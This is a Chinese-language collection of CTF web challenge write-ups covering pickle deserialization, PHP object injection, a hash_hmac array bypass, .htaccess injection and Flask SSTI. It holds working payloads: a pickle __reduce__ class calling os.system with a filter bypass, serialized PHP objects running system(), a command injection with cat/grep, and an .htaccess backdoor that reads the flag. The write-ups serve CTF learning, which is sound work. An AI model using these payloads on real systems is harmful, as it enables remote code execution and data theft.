Http知识
[SWPUCTF 2023 秋季新生赛]NSS_HTTP_CHEKER
打开界面
pickle反序列化
[HZNUCTF 2023 preliminary]pickle
参考文章:
https://blog.csdn.net/Jayjay___/article/details/132310003
打开界面源代码
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0')
简单的代码审计一下
代码如下:
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
'''
这个函数级别的注解指明了当地址是根路径时,就调用下面的函数。
在app.route(’/TestB/’)中,TestB前后有斜杆,则访问时,是否在TestB后面加斜杠,Flask都会重定向到(/TestB/)中,且访问成功,
若在app.route(’/TestA`),TestA后无斜杠,则在访问时,则在访问时,若访问(/TestA/),则会报错,访问(/TestA),则访问成功。
'''
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload") #get输入payload,在/calc目录
pickle.loads(base64.b64decode(payload).replace(b'os', b'')) #反序列化,字符替换,过滤os,但是我们可以发现他只过滤一次,所以我们可以双写绕过!!!
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile(): #可以把结果重定向到文件中,然后用readFile读。在/readFile目录
filename = request.args.get('filename').replace("flag", "????") #GET提交,把flag换成????,任意文件读取但是防止读取flag。
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
payload
import pickle
import os
import base64
class qiuju666(): #
def __reduce__(self):
return(os.system,("env> a.txt",)) #//重定向,从之前题目推断出flag在环境变量。当然这里可以执行其他命令
a= qiuju666()
payload=pickle.dumps(a).replace(b'os', b'ooss') #//双写绕过
payload=base64.b64encode(payload) #//base编码byte类
print(payload)
#print(pickle.loads(base64.decode('gASVJQAAAAAAAACMBXBvb3NzaxiUjAZzeXN0ZW2Uk5SMCmVudj4gYS50eHSUhZRS1C4=')))
成功执行paylaod
利用第二个路由,访问文件
php弱比较
[SWPUCTF 2022 新生赛]funny_web
随意输入点东西
查看源代码,没什么东西
抓个包,查看一下源代码
发现有个nss.php是这个登陆包的情况
尝试了一下万能用户
admin’–+
也不行
提示试验室用户名,哪里有提示呢?
看到这个文件名为nss.php
尝试一下nss
密码提示是这样,总不能是社工吧?
但是有没有思路了,看了wp才知道和当时的新生比赛群有关
2122693401
成功跳转
引用绕过wakeup
[UUCTF 2022 新生赛]ez_unser
方法一、反序列化属性的值大于实际的数量
但是行不通,应该是php版本的原因
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a='phpinfo();';
public $b='phpinfo();';
public $c='phpinfo();';
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=new test();
$a->a=&$a->b;
echo serialize($a);
修改上面的payload参数
payload
http://node5.anna.nssctf.cn:28125/?a=O:4:"test":3:{s:1:"a";s:10:"phpinfo();";s:1:"b";R:2;s:1:"c";s:48:"system("ls /");system("tac /fffffffffflagafag");";}
隐写中的源码&hash_hmac函数漏洞&dir、ls区别
[羊城杯 2020]Blackcat
启动等待的时间有点久
查看源代码
下载一下这个mp3文件,看是否存在隐写
存在源码
使用010editor可以大概看得到源码,但是不太好看,用strings命令一下出来的结果好点
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('
echo exec("nc".$_POST['One-ear']);
hash_hmac函数
参考文章:
https://blog.csdn.net/wangxuanyang_zer/article/details/134707145
这个代码中的hash_hmac函数存在一个漏洞,就是如果$data不对数组进行出来,如果是数组就会不出来,函数的结果就是NULL,因为上面的代码中用了两个hash_hmac函数,所以第二次的是可用控制的,因为知道了$key
afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
这样就可以传入值,使得相等
这里用hackbar有问题,post传参太长了会被截断,得用bp
查看根目录,只显示一个
exec函数只显示一行的内容
ls是多行显示,所以只能显示一行的内容
这里使用dir来显示文件夹内容
还是感觉没有显示全部,猜测可能存在flag文件夹
存在文件,尝试过滤一下得到flag
没有结果
尝试一下过滤花括号呢?
查看一下当前目录
得到flag
payload
One-ear=;cat+f*|grep+\{&White-cat-monitor[]=0&Black-Cat-Sheriff=a3e37115ba966dffb7dedc3db2cc2bcfe5e871803b57ae964c5c8099b88bb2b6
配置文件的绕过htaccess& \ & %0a
[羊城杯 2020]easyphp
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
对上面的代码简单的审计一下
<?php
$files = scandir('./');
foreach($files as $file) { //循环检查当前文件夹的文件名是否为index.php
if(is_file($file)){
if ($file !== "index.php") { //不等于index.php,就删除文件
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) { //传入content和filename的值
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { //对文件的内容进行过滤
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) { //对文件名过滤,可以为字母和点
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") { //当前文件夹下不为index.php的话,就删除
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
这里只能利用index.php做文章了
上传.htaccess配置文件
payload
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess
利用%0a绕过关键字过滤,结合#在htaccess中的特性进行写入后门,\进行转义绕过语句。
参考文章:
https://blog.csdn.net/giaogiao123/article/details/117353356
js中的游戏
2024第一届vctf纳新赛 misc的checkin
打开界面
(此时可以随意玩一玩)
看到js调用的时候
发现调用的js文件还是挺少的
但是game.js中存在混淆js
思路:本来是想通过修改game.js的score来达到分数目的
但是因为做了混淆,这个思路就很难实现(但是我当时还是沉浸在其中,出不来)
正当我打算放弃的时候
在控制台里,看到了一个比较奇怪的图像
一个md5序列,是有什么提示吗?
解密一下
https://www.somd5.com/
得到flag
好一个醉翁之意不在酒啊
python flask框架 无过滤
[HZNUCTF 2023 preliminary]flask
随便输入一些数字的时候
逆序
这里写一个python脚本,方便进行下一步操作
import base64
strA = input()
strB=strA[::-1]
#sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8") #base
print(strB) #base不能直接编码,要先换成byte类型,直接在线网站编码
{{“”.class}} 得到空字符串类 <class ‘str’>
{{“”.class.mro}} 得到:<class ‘tuple’>, <class ‘object’>
选取object类
{{“”.class.mro[-1]}} 得到 <class ‘object’>
得到基类之后,找到这个基类的子类集合
这里使用其第133个类([0]是第一个类 因此第133个是[132] )<class ‘os._wrap_close’>
因为这个类可以执行系统命令popen
实例化这个类
找到这个类的所有方法
调用popen方法,进行rce 在环境变量里得到flag
不在根目录下的flag.sh
python脚本的简单编写(短时间计算)
[HUBUCTF 2022 新生赛]Calculate
大概意思就是,要计算20个表达式,而且每个要在1~3秒内做出回答正确的值
抓个数据包,看一下
这里是post形式的传参,而且有个cookie,写脚本的时候要加上这个cookie,这样服务器才能知道是哪个客户端发来的请求。
根据每次发包后,找到下一次的计算数值
python脚本
import requests
import time
url = 'http://node5.anna.nssctf.cn:28328'
res = requests.session() # 创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
for i in range(1, 50): #设置计算的次数,大一点好测试
math = ""
response = res.get(url) # 发get包,获取题目
time.sleep(1) # 睡一秒
resTest = response.text
for j in range(0,len(resTest)):
if resTest[j-1]==">" and resTest[j+1]=="<" and resTest[j]!="\n": #根据数据包的特征,选取数字
math=math+resTest[j]
math=math.strip('=') #除去等于号
#print(math)
num=eval(math)
data={
'ans': num
}
response=res.post(url,data=data)
print(response.text)
#time.sleep(1)
#j=j+1
if "NSSCTF{" in response.text:
print(response.text)
exit();
等待一会便可以得到flag
命令闭合
[SWPUCTF 2023 秋季新生赛]If_else
这里的意思就是要绕过如果达到两个变量都是true呢?
这里就是如何绕过这个if …else…语句
这个是php语言的逻辑底层,如果真的想直接达到两个条件都是真的的话,是不可能实现的。
这里就要跳出这个思维局限来了。
成功rce
这里要记得按照题目的提示,先post传参,在访问check.php